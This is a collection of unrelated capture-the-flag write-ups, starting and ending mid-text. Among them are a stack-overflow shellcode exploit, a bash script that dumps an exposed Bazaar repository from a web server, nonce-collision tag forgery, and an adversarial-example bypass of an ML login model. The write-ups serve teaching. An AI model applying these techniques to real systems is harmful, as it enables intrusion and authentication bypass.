After generating the assembly codes of this VM, we found that it would use some operations to produce a specific constant, because the only possible immediate numbers in this instruction set are `0-3`. It will produce `200` at the beginning, which is the address of our input, and then store it at address `0` for further usage. After analyzing a few characters of the input, I found the pattern that it will load the input character into register, minus it by a particular number, and compare it with zero. The program will stop if the result is not zero. My approach is to translate the assembly into Python, and set the inputs to zero. When comparing the input with zero, we output the negation of the character, which is the correct input. Here is the translated [script](1.py).
Note: we need to change all these things:
1. `switch` instruction, which is useless2. all arithmetic operation must have a `%0x100` after it3. all memory read/write to array accessing4. all conditional jumps to print negation of the condition
```accessing 200waccessing 0accessing 2041accessing 0accessing 213taccessing 0accessing 201haccessing 0accessing 207Daccessing 0accessing 203Naccessing 0accessing 210kaccessing 0accessing 205Taccessing 0accessing 211----------86`accessing 1256accessing 0accessing 206saccessing 0accessing 212uaccessing 0accessing 2023accessing 0accessing 2084```
Then just inspect the output and reconstruct the flag.
But, except character at `[11]`, is `[11] * 2 - 86 == 10`. Since it multiplies the character by 2, the previous method does not work, so we must solve this manually, which is `'0'`. This actually takes me some time.
So the final flag is `wh3N1TsD4?k0ut`, while the `?` seems to be any character. |
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As mentioned in other writeups, it's possible to adjust 5,5,5,5,5 values for each stage. But I couldn't find the solution in time.However, there's a ceasar-like quiz in 40192c. Since all `scanf("%s", &buf;;` had stack BOF vulns, the xor key for each function could be modified after giving the input to quiz.
```cvoid __fastcall __noreturn quiz(const char *a1){ char v1; // [rsp+10h] [rbp-30h] unsigned __int64 v2; // [rsp+38h] [rbp-8h]
v2 = __readfsqword(0x28u); putstr("King : You have only 1 chance."); __isoc99_scanf("%s", &v1;; if ( sub_401793(&v1) ) { xor_str(improvef3, dword_607114, a1); improvef3(0, 1, 1, 2, 0); } endgame("King : Wrong! You don't have ability to solve the worries of the people!", 0);}
signed __int64 __fastcall sub_401793(const char *input){ int v2; // [rsp+18h] [rbp-78h] signed int i; // [rsp+1Ch] [rbp-74h] char dest[16]; // [rsp+20h] [rbp-70h] char A[26]; // [rsp+30h] [rbp-60h] char key[26]; // [rsp+50h] [rbp-40h] char v7; // [rsp+72h] [rbp-1Eh] unsigned __int64 v8; // [rsp+78h] [rbp-18h]
v8 = __readfsqword(0x28u); qmemcpy(A, "ABCDEFGHIJKLMNOPQRSTUVWXYZ", sizeof(A)); strcpy(key, "ALICEAWTQJMJXTSPPZVCIDGQYRDINMCP"); v7 = 0; v2 = 0; strncpy(dest, input, 5uLL); for ( i = 5; i < strlen(input); ++i ) { if ( A[(input[i] - 65 + dest[v2] - 65) % 26] != key[i] ) return 0LL; v2 = (v2 + 1) % 5; } return 1LL;}```
There is multiple solution for quiz, and I chose AAAAAAWTQJMJXTSPPZVCIDGQYRDINMCP. After the solution, you can append \x00 since scanf doesn't treat the character as delimeter, and the distance between &v1 and a1 in quiz() is 0xc0. You can overwrite xor key for xor_str, which decodes improvef3 (0x401bfa) with xor decoding, and we can get shell by giving (encrypted code) ^ (our shellcode).
Full exploit is [here](https://gist.github.com/Jinmo/ac77fa58ff7e61b239637850ac869d8b). |
Frogs challenge from Fireshell!
This was a fun challenge from fireshell, one of the only challenges I got clean enought to make a writeup on!
Basically, this was a programming challenge, in which a script had to communicate with a socket to solve tasks in a limited time.
The first thing to overcome was a Proof of Work:
``` [+] Proof of Work my friend :)
[+] send the string that sha256(string)[-6:]: 86df4f```For this I had a little Python 2 script which I adapted from a previous PoW that requested MD5 hash cracks, that was the easy part.
Then comes the moment to scratch my head.
```+++ FireShellCTF - Frogs | By: @Keerok & @K4L1 +++
[+] A frog can even jumps 3 ladder steps. Send the possibility sum of each step.
Exemple 1: 1 Exemple 4: 7
Answer 1: 1 Answer 4: 44
[+] Send answer mod 13371337.
[+] You have 3 secs.
[+] Press start:```
The challenge (or challange? haha) was first and foremost to understand what was required of us! After some guesses and eye pain due to the orthography and syntax, we understand that the task is to compute how many different ways can there be for a frog that jumps either 1,2, or 3 steps at a time, to get to step N of the ladder. The examples didn't help much though and were more confusing than anything else at the beginning haha!
After some trial and error on paper, I wrote a function to compute that sum for any N, which worked, hurray!
```pythondef numb2(N): t = 0 for j in range(1,N+1): p = it.product([1,2,3], repeat=j) for l in p: if sum(l) == N: t += 1 t %= 13371337 return t```
But well, there wasn't only one test, and for values of N greater than 20, that function wasn't quick enough. So here we go again on the path to some faster function.
I realized then that there was a recursion relationship between the term, and that `numb(N) = numb(N-1) + numb(N-2) + numb(N-3)`, and without difficulty here was a second function:
```pythondef numb3(N): if N == 0 or N == 1: return 1 elif N == 2: return 2 else: return numb2(N-1) + numb2(N-2) + numb2(N-3)```
But well, not fast enough either!
Fed up with all this, we decided to create a lookup table with all values of numb(N) up to 1000000, with the `generate_jumps_list.py` script, using the recursion relationship.
And well, we did need such high values of N stored!
``` [+] Challange 1 - N: 7 Answer: [+] Nice!
... ... ...
[+] Challange 50 - N: 4712 Answer: [+] Nice!```
And finally the long-awaited flag:
```[+] Congratulations! You got: F#{M4st3r_0F_Tr1pl3N4t1}```
So in the end a nice programming challenge, on which I will have lost a bit of time (damn you, I could have finished the midi chall in time!), but very nice, and I learnt a lot about a lot of things! The full script can be found in the folder for more details: [there](https://github.com/arty-hlr/CTF-writeups/blob/master/2019/fireshell/Frogs/writeup.md)
Muito obrigado, Fireshell! |
First off ran nmap on 138.247.13.115 to get open ports (as always for recon), noticed that certificate was for something different in this case 138.247.13.115.xip.io
nmap on just port 443
Nmap scan report for 138.247.13.115Host is up (0.19s latency).
```PORT STATE SERVICE VERSION443/tcp open ssl/http Caddy httpd|_http-server-header: Caddy|_http-title: Site doesn't have a title (text/plain; charset=utf-8).| ssl-cert: Subject: organizationName=Caddy Self-Signed| Subject Alternative Name: DNS:138.247.13.115.xip.io| Not valid before: 2019-02-23T17:54:26|_Not valid after: 2019-03-02T17:54:26```
so headed to https://138.247.13.115.xip.io accepted security exception
Yay flag!
> Flag is: MCA{shuHeimoowaiF5a} |
[No captcha required for preview. Please, do not write just a link to original writeup here.](https://zeroload.github.io/2019/01/28/FireShell-2019-quotes-list/) |
[Also available on Github](https://github.com/JarredAllen/ctf-writeups/blob/master/mitre-ctf-2019/QvRCode.md)
The problem gave you an image which looked like a QR code, but the data section has colors, whereas a normal QR code does not have any colors.
My initial thouhts were to separate the different color values into different images, so one image had the red color stream as data, one image had the green color stream as data, and one image had the blue color stream as data. Then, I tried scanning the resulting images as QR codes. However, on doing this, only the red color stream was able to be read as a flag, while the other two streams weren't able to be read.But the red color stream did have a part of the flag in it, so I knew I was on the right track.
The next thing I did, was extract the raw pixel values into code and count the number of differently-colored pixels. I found that there were only 8 different colors among all of the pixels in the image. So my next thoughts were to just try all the possible combinations of colors. I wrote a quick python script, using [PIL](https://pillow.readthedocs.io/en/stable/) and [pyzbar](https://pypi.org/project/pyzbar/) libraries, which took every possible mapping of the existing 8 colors into black or white and tried to read it as a QR code. In the end, there were 3 different combinations that were able to be read as QR codes, and pieces of the flag were spread up among the three of them.
I won't put the flag here, though, so you can have the fun of finding it yourself. |
# STEM CTF Cyber Challenge 2019 – Journey to the Center of the File
* **Category:** Grab Bag* **Points:** 100
## Challenge
> W(e( (h(a(v(e( (t(o( (g(o( (d(e(e(p(e(r)))))))))))))))))))> > [download](https://github.com/m3ssap0/CTF-Writeups/raw/master/STEM%20CTF%20Cyber%20Challenge%202019/Journey%20to%20the%20Center%20of%20the%20File/flag)
## Solution
There are different types of files nested in each other:* zip;* bzip2;* gzip;* base64 encoded data.
Nested files are hundreds, so a [Python script](https://github.com/m3ssap0/CTF-Writeups/raw/master/STEM%20CTF%20Cyber%20Challenge%202019/Journey%20to%20the%20Center%20of%20the%20File/journey.py) can be written to open them all.
```pythonimport os, base64import bz2, zipfile, gzipimport magic # pip install python-magic
i = 0current_file = "flag"
while True: new_file = "decompressed-" + str(i)
# Analyzing file type. file_type = magic.from_file(current_file) print "[*] File '{}' is '{}'.".format(current_file, file_type)
# Found the flag. with open(current_file, "r") as cf: read_data = cf.read() if "MCA{" in read_data: print read_data break
# Analyzing archives.
if "bzip2" in file_type:
with open(new_file, 'wb') as nf, open(current_file, 'rb') as cf: decompressor = bz2.BZ2Decompressor() for data in iter(lambda : cf.read(100 * 1024), b''): nf.write(decompressor.decompress(data))
elif "Zip" in file_type:
with zipfile.ZipFile(current_file) as cf: if len(cf.namelist()) == 1: file_to_be_extracted = cf.namelist()[0] else: print "[!] Too much files into the archive!" break cf.extractall() os.rename(file_to_be_extracted, new_file)
elif "ASCII text" in file_type:
with open(current_file, "r") as cf: encoded_data = cf.read() decoded_data = base64.b64decode(encoded_data) with open(new_file, "wb") as nf: nf.write(decoded_data)
elif "gzip" in file_type:
with gzip.open(current_file, "r") as cf: read_data = cf.read() with open(new_file, "wb") as nf: nf.write(read_data)
else: print "[!] Unknown archive, exiting." break
# Removing old file and going on with analysis. os.remove(current_file) current_file = new_file i += 1```
The flag is the following.
```MCA{Wh0_Needz_File_Extensions?}``` |
# STEM CTF Cyber Challenge 2019 – Medium is overrated
* **Category:** Web* **Points:** 200
## Challenge
> I got hacked last time, but that’s not gonna stop me. The world deserves the next great blogging platform!> > http://138.247.13.104
## Solution
Challenge is similar to the previous one (i.e. *My First Blog*), but the number of revisions is huge.
So a [bash script](https://raw.githubusercontent.com/m3ssap0/CTF-Writeups/master/STEM%20CTF%20Cyber%20Challenge%202019/Medium%20is%20overrated/bzr-chall-solver.sh) can be written to reproduce the repository locally.
The script will recreate the `index.php` file of the previous challenge and another file called `noIdeaWhatImDoing`.
Analyzing the history situation with `bzr log` and some `bzr diff`, you can discover that files were modified several times. Maybe one of these revisions will contain the flag.
After some analysis you can discover that changes on `index.php` are the ones really important. The initial script can be modified in order to discover all important differences on `index.php`.
```bash#!/bin/bash
echo "[*] Creating local repository."mkdir ctf-bzrcd ctf-bzr/bzr initecho 'foo' > foo.txtbzr addbzr commit -m "foo"rm foo.txt
echo "[*] Replacing last-revision file."cd .bzr/branchrm last-revisionwget http://138.247.13.104/.bzr/branch/last-revision
echo "[*] Replacing dirstate file."cd ../checkoutrm dirstatewget http://138.247.13.104/.bzr/checkout/dirstate
echo "[*] Replacing pack-names file."cd ../repositoryrm pack-nameswget http://138.247.13.104/.bzr/repository/pack-names
echo "[*] Using check command to discover missing files."cd indices/rm *.cixrm *.iixrm *.rixrm *.sixrm *.tixcd ../packsrm *.packcd ../../../while true; do CHECK_OUTPUT=$(bzr check 2>&1) if [[ $CHECK_OUTPUT == *"bzr: ERROR: No such file:"* ]]; then MISSING_FILE=$(echo $CHECK_OUTPUT | sed 's/.*\([0-9a-f]\{32\}\).*/\1/') echo "[*] Missing files $MISSING_FILE." declare -a EXTENSIONS=("cix" "iix" "rix" "six" "tix") for EXTENSION in "${EXTENSIONS[@]}"; do TARGET_URL="http://138.247.13.104/.bzr/repository/indices/$MISSING_FILE.$EXTENSION" echo "[*] Downloading $TARGET_URL" wget $TARGET_URL -P .bzr/repository/indices/ done TARGET_URL="http://138.247.13.104/.bzr/repository/packs/$MISSING_FILE.pack" echo "[*] Downloading $TARGET_URL" wget $TARGET_URL -P .bzr/repository/packs/ else echo "[*] Probably all missing files have been downloaded." break fidone
echo "[*] Reverting missing source files."bzr revert
echo "[*] Searching the flag into revisions."R=1while true; do RNEXT=$((R+1)) # Analyzing diff. REVISION=$(bzr diff -r$R..$RNEXT) if [[ $REVISION == "" ]]; then break elif [[ $REVISION != *"noIdeaWhatImDoing"* ]]; then echo "[*] ... $R -> $RNEXT" echo $REVISION fi
R=$RNEXTdone```
Two differences can be identified.
```$ bzr diff -r154..155=== modified file 'index.php'--- index.php 2018-12-06 18:48:25 +0000+++ index.php 2018-12-06 22:52:42 +0000@@ -10,6 +10,11 @@ <h1 class="display-4">My Blog</h1> Just a spot for me to talk about how much I love Canonical </div>+ <h1>Encryption is so cool!</h1>+ It's so cool that I can paste a block of text here and if its encrypted then none of you will EVER be able to read it! After reading about it, I'm so comfortable with it that I'm willing to paste my Bitcoin Wallet password right here:+ NWEyYTk5ZDNiYWEwN2JmYmQwOGI5NjEyMDVkY2FlODg3ZmIwYWNmOWYyNzI5MjliYWE3OTExZmFhNGFlNzc1MQ==+ There's like a whole 3 Bitcoin in there, but none of you will ever be able to get it!+ <hr> <h1>I love Canonical</h1> As someone who is just getting started with Linux, I love Canonical. They build the easiest to use Linux distribution I can find, and they build so many useful tools. So far I've tried out
Just a spot for me to talk about how much I love Canonical
It's so cool that I can paste a block of text here and if its encrypted then none of you will EVER be able to read it! After reading about it, I'm so comfortable with it that I'm willing to paste my Bitcoin Wallet password right here:
NWEyYTk5ZDNiYWEwN2JmYmQwOGI5NjEyMDVkY2FlODg3ZmIwYWNmOWYyNzI5MjliYWE3OTExZmFhNGFlNzc1MQ==
There's like a whole 3 Bitcoin in there, but none of you will ever be able to get it!
As someone who is just getting started with Linux, I love Canonical. They build the easiest to use Linux distribution I can find, and they build so many useful tools. So far I've tried out
$ bzr diff -r165..166=== modified file 'index.php'--- index.php 2018-12-06 22:54:52 +0000+++ index.php 2018-12-06 23:00:02 +0000@@ -10,6 +10,8 @@ <h1 class="display-4">My Blog</h1> Just a spot for me to talk about how much I love Canonical </div>+ <h1>CentOS is just RedHat</h1>+ A friend of mine was explaining how the company he works for pays for RedHat. I don't understand why they are LITERALLY throwing their money away since CentOS is just RedHat. In fact, CentOS is even better than RedHat since it discovers the fastest mirror automatically. I'm applying for one of their open job reqs just to give them a piece of my mind. <h1>I love Canonical</h1> As someone who is just getting started with Linux, I love Canonical. They build the easiest to use Linux distribution I can find, and they build so many useful tools. So far I've tried out @@ -26,4 +28,5 @@ ?> </div> </body>-</html>\ No newline at end of file+</html>+\ No newline at end of file```
Just a spot for me to talk about how much I love Canonical
A friend of mine was explaining how the company he works for pays for RedHat. I don't understand why they are LITERALLY throwing their money away since CentOS is just RedHat. In fact, CentOS is even better than RedHat since it discovers the fastest mirror automatically. I'm applying for one of their open job reqs just to give them a piece of my mind.
As someone who is just getting started with Linux, I love Canonical. They build the easiest to use Linux distribution I can find, and they build so many useful tools. So far I've tried out
The first one contains a base64 encoded password for a Bitcoin wallet.
```NWEyYTk5ZDNiYWEwN2JmYmQwOGI5NjEyMDVkY2FlODg3ZmIwYWNmOWYyNzI5MjliYWE3OTExZmFhNGFlNzc1MQ==```
Decoded string is the following.
```5a2a99d3baa07bfbd08b961205dcae887fb0acf9f272929baa7911faa4ae7751```
The second one contains an hexadecimal string.
```6fb3b5b05966fb06518ce6706ec933e79cfaea8f12b4485cba56321c7a62a077```
This string must be considered like the AES ECB key to decode the Bitcoin wallet password.
The following OpenSSL command will give you the flag.
```$ openssl enc -d -aes-256-ecb -K '6fb3b5b05966fb06518ce6706ec933e79cfaea8f12b4485cba56321c7a62a077' -in <(echo '5a2a99d3baa07bfbd08b961205dcae887fb0acf9f272929baa7911faa4ae7751' | xxd -r -p)```
The flag is the following.
```MCA{I$love$bitcoin$so$much!}``` |
# STEM CTF Cyber Challenge 2019 – My First Blog
* **Category:** Web* **Points:** 150
## Challenge
> I wish canonical would release a blog platform, they make everything so easy to use and it just works!> > http://138.247.13.106/
## Solution
The owner of the blog is a fan of Canonical and its products. As you can see in the blog, he is fan of [Bazaar](http://bazaar.canonical.com/en/), the version control system of Canonical.
Trying to connect to `http://138.247.13.106/.bzr/` will give an `HTTP 403 Forbidden` error, so the folder should exist.
Connecting to `http://138.247.13.106/.bzr/README` will reveal the existence of a Bazaar repository folder.
Furthermore, connecting to `http://138.247.13.106/.bzr/branch/last-revision`, will reveal the last revision.
```1 bzr_lover-20181206184825-790ppqxy6l69f581```
So Bazaar must be installed and a `bzr` repostitory must be created in order to craft the `.bzr` directory and then recreate the website files.
```$ mkdir ctf-bzr$ cd ctf-bzr/$ bzr init$ echo 'foo' > foo.txt$ bzr add$ bzr commit$ rm foo.txt```
The `last-revision` can be downloaded to replace the existing one.
```$ cd .bzr/branch$ rm last-revision$ wget http://138.247.13.106/.bzr/branch/last-revision```
The `dirstate` file can be downloaded to replace the existing one.
```$ cd ../checkout$ rm dirstate$ wget http://138.247.13.106/.bzr/checkout/dirstate```
The `pack-names` file can be downloaded replacing the existing one.
```$ cd ../repository$ rm pack-names$ wget http://138.247.13.106/.bzr/repository/pack-names```
Using `bzr check` command will trigger an error that will reveal the name of the missing files.
```$ cd ../../$ bzr check```
The name is: `ctf-bzr/.bzr/repository/indices/c325a543411b3717bd63b6cc879e3d50.rix`, so all missing files can be downloaded.
```$ cd .bzr/repository/indices/$ rm *.*$ wget http://138.247.13.106/.bzr/repository/indices/c325a543411b3717bd63b6cc879e3d50.rix$ wget http://138.247.13.106/.bzr/repository/indices/c325a543411b3717bd63b6cc879e3d50.cix$ wget http://138.247.13.106/.bzr/repository/indices/c325a543411b3717bd63b6cc879e3d50.iix$ wget http://138.247.13.106/.bzr/repository/indices/c325a543411b3717bd63b6cc879e3d50.six$ wget http://138.247.13.106/.bzr/repository/indices/c325a543411b3717bd63b6cc879e3d50.tix$ cd ../packs$ rm *.pack$ wget http://138.247.13.106/.bzr/repository/packs/c325a543411b3717bd63b6cc879e3d50.pack```
Then the status of the repo could be checked.
```$ bzr statusremoved: index.php```
The command `bzr revert` will recreate the file.
```php<html> <head> <title>My Blog</title> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous"> </head> <body>
<div class="container"> <div class="jumbotron"> <h1 class="display-4">My Blog</h1> Just a spot for me to talk about how much I love Canonical </div> <h1>I love Canonical</h1> As someone who is just getting started with Linux, I love Canonical. They build the easiest to use Linux distribution I can find, and they build so many useful tools. So far I've tried out Juju - The worlds best configuration management tool! Bazaar - The worlds best version control! Ubuntu - The worlds best OS! Launchpad - GitHub? Gross! <hr> <h1>Learning PHP</h1> I recently learned about PHP and I can't stop switching everything over to it. In fact, this blog is now powered by PHP, I think! I changed the file extension at least, and added a little PHP code below here. That should pretty much do it right? I have the PHP code commented out for now since I can't seem to get it to work right. I'll have to look into it later. </div> </body></html>```
Just a spot for me to talk about how much I love Canonical
As someone who is just getting started with Linux, I love Canonical. They build the easiest to use Linux distribution I can find, and they build so many useful tools. So far I've tried out
I recently learned about PHP and I can't stop switching everything over to it. In fact, this blog is now powered by PHP, I think! I changed the file extension at least, and added a little PHP code below here. That should pretty much do it right? I have the PHP code commented out for now since I can't seem to get it to work right. I'll have to look into it later.
It will contain the flag.
```MCA{canonical_is_literally_my_favorite_company_in_the_whole_world}``` |
# STEM CTF Cyber Challenge 2019 – Nyan
* **Category:** Grab Bag* **Points:** 50
## Challenge
> Nyayanayanayanayanayanayanayan> > ssh [email protected]
## Solution
Connecting in SSH will trigger a wonderful 8 bit *Nyan Cat* representation.
The flag is probably hidden in the data flow. To intercept it, the data exchanged with the server must be analyzed.
A [Python script](https://raw.githubusercontent.com/m3ssap0/CTF-Writeups/master/STEM%20CTF%20Cyber%20Challenge%202019/Nyan/nyan.py) can be written to help on this.
```pythonimport refrom pwn import *
l = listen()shell = ssh(host="138.247.13.114", user="ctf", password="ctf")sh = shell.run('sh')while True: received = sh.recvline() if "MCA{" in received: x = re.findall("MCA\{.+\}", received) print x[0] break```
The flag is the following.
```MCA{Airadaepohh8Sha}``` |
# STEM CTF Cyber Challenge 2019 – Nomination
* **Category:** Grab Bag* **Points:** 100
## Challenge
> Surprised Pikachu is old. Let’s get this surprised cat going.
## Solution
The challenge gives you an image.
The flag is hidden in that image and splittend in two parts. You can read it using an image manipulation software.
Brightness and contrast to the maximum will reveal the left part.
Brightness to the minimum and contrast to the maximum will reveal the right part.
The flag is the following.
```MCA{g1jVx4a2zcpoZx2q}``` |
# Console (Web)
Hi CTF player. If you have any questions about the writeup or challenge. Submit a issue and I will try to help you understand.
Also I might be wrong on some things. Enjoy :)
(P.S Check out my [CTF cheat sheet](https://github.com/flawwan/CTF-Candy))
## Challenge solution
The page is quite simple, a text field and a button.
Looking at the source:
Seems like if you type in the correct password it calls `GetThat('Y')`
We can manually call that function in the Developer Console:
 |
# Nullcon CTF
This directory contains solutions/writeups for _nullcon CTF 2019_ (02.02.2019)
## 2FUN
in this task we're given an encryption algorithm resembling 2DES### Statement```pythonsbox = [210, 213, 115, 178, 122, 4, 94, 164, 199, 230, 237, 248, 54, 217, 156, 202, 212, 177, 132, 36, 245, 31, 163, 49, 68, 107, 91, 251, 134, 242, 59, 46, 37, 124, 185, 25, 41, 184, 221, 63, 10, 42, 28, 104, 56, 155, 43, 250, 161, 22, 92, 81, 201, 229, 183, 214, 208, 66, 128, 162, 172, 147, 1, 74, 15, 151, 227, 247, 114, 47, 53, 203, 170, 228, 226, 239, 44, 119, 123, 67, 11, 175, 240, 13, 52, 255, 143, 88, 219, 188, 99, 82, 158, 14, 241, 78, 33, 108, 198, 85, 72, 192, 236, 129, 131, 220, 96, 71, 98, 75, 127, 3, 120, 243, 109, 23, 48, 97, 234, 187, 244, 12, 139, 18, 101, 126, 38, 216, 90, 125, 106, 24, 235, 207, 186, 190, 84, 171, 113, 232, 2, 105, 200, 70, 137, 152, 165, 19, 166, 154, 112, 142, 180, 167, 57, 153, 174, 8, 146, 194, 26, 150, 206, 141, 39, 60, 102, 9, 65, 176, 79, 61, 62, 110, 111, 30, 218, 197, 140, 168, 196, 83, 223, 144, 55, 58, 157, 173, 133, 191, 145, 27, 103, 40, 246, 169, 73, 179, 160, 253, 225, 51, 32, 224, 29, 34, 77, 117, 100, 233, 181, 76, 21, 5, 149, 204, 182, 138, 211, 16, 231, 0, 238, 254, 252, 6, 195, 89, 69, 136, 87, 209, 118, 222, 20, 249, 64, 130, 35, 86, 116, 193, 7, 121, 135, 189, 215, 50, 148, 159, 93, 80, 45, 17, 205, 95]p = [3, 9, 0, 1, 8, 7, 15, 2, 5, 6, 13, 10, 4, 12, 11, 14]
def xor(a, b): return bytearray(map(lambda s: s[0] ^ s[1], zip(a, b)))
def fun(key, pt): assert len(pt) == BLOCK_LENGTH assert len(key) == KEY_LENGTH key = bytearray(unhexlify(md5(key).hexdigest())) ct = bytearray(pt) for _ in range(ROUND_COUNT): ct = xor(ct, key) for i in range(BLOCK_LENGTH): ct[i] = sbox[ct[i]] nct = bytearray(BLOCK_LENGTH) for i in range(BLOCK_LENGTH): nct[i] = ct[p[i]] ct = nct return hexlify(ct)
def toofun(key, pt): assert len(key) == 2 * KEY_LENGTH key1 = key[:KEY_LENGTH] key2 = key[KEY_LENGTH:]
ct1 = unhexlify(fun(key1, pt)) ct2 = fun(key2, ct1)
return ct2
```
We are also given known ciphertext: `16 bit plaintext` -> `467a52afa8f15cfb8f0ea40365a6692`
The goal is to decrypt the flag `04b34e5af4a1f5260f6043b8b9abb4f8`
### Solution
After investigating `toofun` wee see that it is encrypting message with two 3-byte keys using `fun`. So step 1 woulbe be to learn how to decrypt message encrypted with `fun`. It can be done in quite straightforward way, by executing all the same actions in reverse: ```python
def defun(key, raw): rp = [0 for _ in range(len(p))] rsbox = [0 for _ in range(len(sbox))]
for i in range(len(p)): rp[p[i]] = i
for i in range(len(sbox)): rsbox[sbox[i]] = i
ct = list(unhexlify(raw)) key = bytearray(unhexlify(md5(key).hexdigest())) #print("\n\n") for _ in range(ROUND_COUNT): nct = bytearray(BLOCK_LENGTH) for i in range(BLOCK_LENGTH): nct[i] = ct[rp[i]]
#print("DNCT: {}".format(str(nct))) for i in range(BLOCK_LENGTH): ct[i] = rsbox[nct[i]] ct = xor(ct, key) return hexlify(ct)```
Now we have to find out 6-byte key, used for original encryption. Bruteforcing 2^48 keys is not an option here. However, we know, that `fun(key[:3], plaintext) == defun(key[3:], ciphertext)` (by the definion of toofun). Knowing this we can make Meet-in-the-middle attack: encrypt known plaintext with all keys, while decrypting knwon ciphertext with the all keys, hoping to find a common result, thus ubtaining the full key.
```pythonfwd = {}bwd = {}
k1 = ""k2 = ""for k in tqdm(keys): #print("{}".format(k)) f = fun(k, b"16 bit plaintext") if f in bwd: print("FOUND: {} {}".format(k, bwd[f])) k1 = k k2 = bwd[f] break
b = defun(k, b'0467a52afa8f15cfb8f0ea40365a6692') if b in fwd: print("FOUND: {} {}".format(fwd[b], k)) k1 = fwd[b] k2 = k break fwd[f] = k bwd[b] = k ```
finally, knowing `key=(k1, k2)` we can decrypt the flag:
`print(defun(k1, defun(k2, rf)))`
## ML-Auth### Solution
This was a fun challenge. We are given keras model, that performs some sort of classification task on given input, and uses predicted probability as authorization measure.
It's known, that alot of Deep Learning models suffer from [adversarial attacks](https://www.google.com). in a simpliest scenario, we can perform gradient ascent, modifying input image, to maximize chances of input missclasification.
From preprocessing code ```pythonprof_h = profile.split('0x')ip = [int(_, 16) for _ in prof_h[1:]]ip = np.array(ip, dtype='float32')/255# reshape profile as required by the trained modelip = ip.reshape([1,28,28,1])``` we see, that input of our network is a 1-channel 28x28 "image" with 1-byte values. To generate adversarial example, we can use [foolbox](https://foolbox.readthedocs.io/en/latest/):
```pythonfmodel = foolbox.models.KerasModel(model, bounds=(0, 255), preprocessing=(0, 255))attack = foolbox.attacks.L1BasicIterativeAttack(fmodel)```
we're using L1 as a metric. Input data will be divided by 255, before supplementing it to our model. Now we can perform an attack applying modifications to random image: ```pythond = np.random.rand(28,28,1) * 255adversarial = attack(d, 0)```
Only thing left is build token, that can be sent in url:```pythonprofile = "".join([hex(int(t)) for t in adversarial.ravel()])```
## GenuineCounterMode### Statementcan you get the flag?```python#!/usr/bin/env python3from Crypto.Cipher import AESfrom Crypto.Util import Counterfrom Crypto import Randomfrom secret import flag, keyfrom hashlib import sha256from Crypto.Util.number import *from binascii import hexlify
H = AES.new(key, AES.MODE_ECB).encrypt(bytes(16))sessionid = b''n = 327989969870981036659934487747327553919
def group(a, length=16): count = len(a) // length if len(a) % length != 0: count += 1 return [a[i * length: (i + 1) * length] for i in range(count)]
def GHASH(ciphertext, nonce): assert len(nonce) == 12 c = AES.new(key, AES.MODE_ECB).encrypt(nonce + bytes(3) + b'\x01') blocks = group(ciphertext) tag = bytes_to_long(c) for i, b in enumerate(blocks): tag += (bytes_to_long(b) * pow(bytes_to_long(H), i + 1, n)) % n return long_to_bytes(tag)
def encrypt(msg): nonce = sessionid + Random.get_random_bytes(2) assert len(nonce) == 12 ctr = Counter.new(32, prefix=nonce) cipher = AES.new(key, AES.MODE_CTR, counter=ctr) ciphertext = cipher.encrypt(msg) tag = GHASH(ciphertext, nonce) return (nonce, ciphertext, tag)
def decrypt(nonce, ciphertext, tag): assert len(nonce) == 12 assert GHASH(ciphertext, nonce) == tag ctr = Counter.new(32, prefix=nonce) cipher = AES.new(key, AES.MODE_CTR, counter=ctr) plaintext = cipher.decrypt(ciphertext) return plaintext
def main(): global sessionid username = input('Enter username: ') sessionid = sha256(username.encode()).digest()[:10]
while True: print("Menu") print("[1] Encrypt") print("[2] Decrypt") print("[3] Exit")
choice = input("> ")
if choice == '1': msg = input('Enter message to be encrypted: ') if 'flag' in msg: print("You cant encrypt flag :(") continue c = encrypt(msg.encode()) nonce = hexlify(c[0]).decode() ciphertext = hexlify(c[1]).decode() tag = hexlify(c[2]).decode() print(nonce + ':' + ciphertext + ':' + tag) continue
if choice == '2': nonce, ciphertext, tag = input( 'Enter message to be decrypted: ').split(':') nonce = long_to_bytes(int(nonce, 16)) ciphertext = long_to_bytes(int(ciphertext, 16)) tag = long_to_bytes(int(tag, 16)) pt = decrypt(nonce, ciphertext, tag).decode() if pt == 'may i please have the flag': print("Congrats %s" % username) print("Here is your flag: %s" % flag) print(pt) continue
if choice == '3': break
if __name__ == '__main__': main()```### Solution
We are given a server, that can encrypt everything, that doesn't contain word 'flag' in it. The only way to get the flag is to ask for it politely (e.g. submit properly ecrypted message `may i please have the flag`), only then it will return proper flag.
We can see, that AES is used CTR mode. That means, that AES generates a `key`, and plaintext is just a XORer with the said `key`. Therefore, we can easily manipulate ciphertext to modify the message: we can encrypt random message `rmsg` and then provide `encrypt(rmsg) XOR rmsg XOR "may i please have the flag"`. However, this would've been too easy, so we encryption also generates a `tag`, which is a function of ciphertext, and it's verified on every decription. Let's see if we can break it:
```pythonH = AES.new(key, AES.MODE_ECB).encrypt(bytes(16))n = 327989969870981036659934487747327553919
def GHASH(ciphertext, nonce): assert len(nonce) == 12 c = AES.new(key, AES.MODE_ECB).encrypt(nonce + bytes(3) + b'\x01') blocks = group(ciphertext) tag = bytes_to_long(c) for i, b in enumerate(blocks): tag += (bytes_to_long(b) * pow(bytes_to_long(H), i + 1, n)) % n return long_to_bytes(tag)```
Few things to note here: * `c` is just a function of `nonce` * GHASH is a function of `ciphertext, nonce, H`. Out of this three, only H is unknown * `n` is prime. Which means we can compute inverse module n really easy
Let's assume that we have a message `m` less than one block (16 bytes). Then it's tag is `c + (m * H) mod n`. We want to obtain H. To do this we can obtain 2 different messages with the same `nonce` , and then:
```tag1 = c + (m1 * H) mod ntag2 = c + (m2 * H) mod n-----Therefore----tag1-tag2 = (m1-m2) * H mod n-----Therefore----H = (tag1-tag2) * modInv(m1-m2, n)```
Here `modInv(a, n)` is inverse module `n`. As mentioned above, `n` us prime, therefore we can use [EGCD]{https://en.wikipedia.org/wiki/Extended_Euclidean_algorithm} to compute inverse
Next goal: obtain two short messages with same value of nonce. Fortunatelly, `nonce` has only 2 random bytes, which means we can just spam requests to encrypt random messages, until two of them have same `nonce`. Due to birthday paradox we're expected to make only about 256 requests```python from pwn import *
def getCollision(): was = {}
conn = remote('crypto.ctf.nullcon.net', 5000) conn.send('wimag\r\n') #conn.recvline() i = 1
res = ""
while True: print(conn.recvuntil('>', drop=True))
conn.send('1\n') b = str(i)
